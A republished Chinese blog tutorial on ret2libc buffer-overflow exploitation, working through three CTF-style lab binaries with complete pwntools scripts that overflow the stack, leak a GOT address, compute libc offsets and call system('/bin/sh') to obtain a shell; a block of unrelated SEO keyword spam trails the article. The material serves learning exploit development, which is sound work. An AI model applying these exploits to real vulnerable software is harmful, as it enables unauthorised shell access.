千家信息网

缓冲区溢出漏洞-基本ROP-ret2lib

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,本文视频:如果文字过于枯燥,可观看在线视频:https://edu.51cto.com/sd/16514基础知识:第一题:ret2libc1我们先用IDA分析下有一个gets函数会有溢出漏洞,我们在查
千家信息网最后更新 2026年11月01日缓冲区溢出漏洞-基本ROP-ret2lib

本文视频:
如果文字过于枯燥,可观看在线视频:https://edu.51cto.com/sd/16514

基础知识:

第一题:ret2libc1

我们先用IDA分析下

有一个gets函数会有溢出漏洞,我们在查看下程序的有哪些保护

可以看到开启了NX,说明我们在栈中的数据没有执行权限,我们需要使用ROP方式进行绕过

我们使用gdb的pattern进行测试溢出偏移量是112

命令分别是:pattern create 200

执行r命令

输入生成的字符串

根据提示执行pattern offset xxxxxx

接下里我们要做的是执行系统函数system("/bin/sh"),来获取系统的权限

所以我们可以想象我们的payload是:'a' * 112 + system_plt + 0x0000000 + bin_sh_addr

我们需要system的plt地址以及字符串/bin/sh的地址

system的plt地址可以用IDA来查看,在页面中使用ALT + T来搜索system

/bin/sh的获取方式:

所以得到我们的exp为:

from pwn import *

p = process('./ret2libc1')

system_plt_addr = 0x08048460

bin_sh_addr = 0x08048720

payload = flat(['a' * 112 , system_plt_addr , 0x00000000 , bin_sh_addr])

p.sendline(payload)

p.interactive()

第二题

这道题和第一个题没有太大区别,唯一的区别在于找不到字符串/bin/sh的地址了。所以我们需要重新构造。

除了在程序中查找/bin/sh的地址,我们也可以直接让用户输入。所以我们可以构造以下payload

payload = 'a' + get_plt + pop_ebx + bin_sh + system_plt + 0x00000000 + bin_sh

payload里的pop_ebx还是pop eax都无所谓,但我们使用ROPgadget在搜索的时候只能搜到pop ebx;ret

接下来我们动态调试下payload发送到ret2libc2后代码执行过程和栈变化。我们看下exp代码

from pwn import *

p = process('./ret2libc2')

system_plt = 0x08048490

gets_plt = 0x08048460

buf = 0x0804a0e4 - 16

pop_ebx_addr = 0x0804843d

payload = flat(['a' * 112,gets_plt,pop_ebx_addr,buf,system_plt,0x00000000,buf])

pause()

p.sendline(payload)

p.interactive()

也可以是一下exp:

from pwn import *

p = process("./ret2libc2")

elf = ELF("./ret2libc2")

rop = ROP(elf)

gets_plt = elf.plt['gets']

system_plt = elf.plt['system']

#自动查找rop,而不需要我们使用ROPgadget去搜索

pop_ret = rop.search(8).address

#pop_ret = 0x0804843d

#elf.bss()代表的是bss段段开始位置(这个位置会比实际的bss起始位置大一些)

buf = elf.bss(0xf)

#buf = 0x0804b000 - 16

payload = flat(['a'*112,gets_plt,pop_ret,buf,system_plt,0x00000000,buf])

p.sendline(payload)

p.sendline('/bin/sh\n')

p.interactive()

buf变量的值是bss段的内容,我们使用vmmap就可以看到有w权限的bss,在最末尾-16来保存我们gets输入的内容。

也可以使用display &buf2来找一个变量的地址

运行exp.py,得到pid后使用gdb attach进行调试

一直finish到main函数中

我们发现在执行完main方法的ret之后程序进入了gets函数,说明我们的payload被成功执行了.

第三题:

使用IDA查看代码

发现有gets函数,存在漏洞,使用GDB加载程序:gdb ./ret2libc3

进入到gdb命令行后,使用checksec查看保护

发现有NX保护,我们使用ROP进行绕过。

我们可以构造payload = 'a' * offset + system_plt+0x00000000 + bin_sh_addr

关键在于如何获取system和/bin/sh的地址,所以我们使用objdump查看system plt地址

发现plt中没有system,使用ROPgadget查找/bin/sh的地址

发现没有/bin/sh,所以我们只能靠自己计算这两个的值了。

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。

  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下

  • https://github.com/niklasb/libc-database

所以我们第一个要做的事情就是判断这个ret2libc3程序依赖的哪个libc,思路如下:

1、泄露一个ret2libc3函数的位置

2、获取libc的版本

3、根据偏移获取shell和sh的位置

4、执行程序获取shell

这里我们用一个lic的工具https://github.com/lieanu/LibcSearcher

他能帮我们快速的找到system和/bin/sh的地址,但是他需要一个关键的东西:一个程序函数的地址

我们知道在Linux的程序中使用了延迟绑定机制,也就是说一个函数在没有执行前,你是不知道它的真实地址是什么的。而这个程序中我们能看到的有printf函数、gets函数。我们通过这两个函数来确定libc的版本。代码如下:

from pwn import *

import time

p = process("./ret2libc3")

elf = ELF("./ret2libc3")

offset = 112

#要泄漏的函数的地址

target_func = 'gets'

#调用puts函数进行打印

puts_func = 'puts'

puts_plt = elf.plt[puts_func]

target_got = elf.got[target_func]

main_addr = elf.symbols['main']

#调用puts函数,打印泄漏函数的got地址,最后返回main函数,在32位程序中调用函数地址的第一个参数就是返回地址,后面的才是参数

payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(target_got)

#payload = flat([offset * 'a',puts_plt,main_addr,puts_got])

p.sendlineafter("Can you find it !?",payload)

print hex(u32(p.recv()[0:4]))

我们看一下结果:确实后12位是不变的,3e0。(一个字符4个字节,3 *4 = 12)

我们查一下版本:https://libc.blukat.me

版本有点多,我们换个函数,使用puts函数,直接将变量target_func改为puts,查看运行结果:

发现后12位是ca0

经过比对,这两个版本的地址是一样的,所以用那个都可以。

最后exp

#!/usr/bin/env python

# -*- coding: UTF-8 -*-

from pwn import *

from LibcSearcher import LibcSearcher

sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

rop = ROP(ret2libc3)

func = 'puts'

puts_plt = ret2libc3.plt['puts']

libc_start_main_got = ret2libc3.got[func]

main = ret2libc3.symbols['main']# 获取main函数地址

print "leak libc_start_main_got addr and return to main again"

payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])

sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"

#获取puts函数运行时的地址

libc_start_main_addr = u32(sh.recv()[0:4])

print libc_start_main_addr

# 实例化LibcSearcher对象

libc = LibcSearcher(func, libc_start_main_addr)

# 计算libc的初始地址(puts的动态地址-puts的偏移地址)

libcbase = libc_start_main_addr - libc.dump(func)

# 计算system地址

system_addr = libcbase + libc.dump('system')

# 计算/bin/sh地址

binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"

payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])

sh.sendline(payload)

sh.interactive()


地址 函数 程序 位置 版本 两个 字符 保护 偏移 代码 动态 变量 命令 字符串 权限 搜索 输入 运行 漏洞 关键 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 华服互联网科技靠谱吗 厦门中拓互联网络科技有限公司 互联网科技财经 河南真二互联网科技有限公司 科技制造互联网公司 华中科技大学互联网 西藏七维空间互联网科技有限公司 科技互联网的估值 剑昆互联网络科技有限公司临桂 顶级互联网科技成果有哪些 茂名市互联网科技产业园 南山科技园互联网公司有哪些 崇明区互联网教育科技售后服务 成都互联网科技公司工作好不好 特约风豹互联网科技为什么扣费 半导体行业属于互联网高科技类吗 全球科技与互联网公司市值变化 普陀区互联网教育科技管理办法 承德科技产业互联网平台 银川新华互联网科技学校招聘 精品咖啡豆 广州紫鲸互联网科技有限公司 北京路客互联网科技有限公司 广西互联网科技公司 中国互联网金融科技基金 佛山市翊博互联网络科技有限公司 中和天地互联网科技有限公司 梅州GM互联网络科技有限公司 美国互联网科技公司 互联网科技快速发展优美句子
0